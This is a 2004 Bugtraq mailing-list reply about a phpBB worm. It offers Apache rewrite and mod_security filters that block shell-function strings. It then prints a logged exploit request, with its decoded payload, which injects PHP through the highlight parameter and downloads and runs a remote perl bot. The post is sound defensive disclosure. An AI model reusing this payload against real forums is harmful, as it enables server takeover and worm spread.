bugtraq - Re: phpBB Worm

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Date: Wed, 22 Dec 2004 12:22:15 +0100
From: Sebastian Wiesinger <bofh@...e-world.de>
To: bugtraq@...urityfocus.com
Subject: Re: phpBB Worm


* Raymond Dijkxhoorn <raymond@...location.net> [2004-12-22 00:06]:
> If you cannot fix it (virtual servers) fast for all your clients you could 
> also try with something like this:
> 
>         RewriteEngine On
>         RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
>         RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
>         RewriteRule ^.*$                                -               [F]
> 
> We had some vhosts where this worked just fine. On our systems we didnt 
> see any valid request with echr and esystem, just be gentle with it, it 
> works for me, it could work for you ;)

If you use mod_security, this may help, too:

SecFilterSelective "THE_REQUEST" "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\("

I had another exploit attempt, with this payload:

66.119.13.4 - - [22/Dec/2004:10:06:47 +0100] "GET /forum/viewtopic.php?t=%37&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%31%32%38%2E%31%37%34%2E%31%33%37%2E%32%33%30%2F%62%6E%20%2D%4F%20%2E%62%3B%20%70%65%72%6C%20%2D%70%65%20%79%2F%74%68%6D%76%64%77%30%39%38%37%36%35%34%33%32%31%75%6F%69%65%61%2F%61%65%69%6F%75%31%32%33%34%35%36%37%38%39%30%77%64%76%74%68%6D%2F%20%2E%62%7C%20%70%65%72%6C%3B%20%72%6D%20%2D%66%20%2E%62%20%2A%2E%70%6C%20%62%30%74%2A%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 HTTP/1.1" 200 12266 "-" "-"

Which decodes to:

rush=echo _START_; cd /tmp;wget 128.174.137.230/bn -O .b; perl -pe y/thmvdw0987654321uoiea/aeiou1234567890wdvthm/ .b| perl; rm -f .b *.pl b0t*; echo _END_
highlight='.passthru($HTTP_GET_VARS[rush]).'

Regards,

Sebastian

-- 
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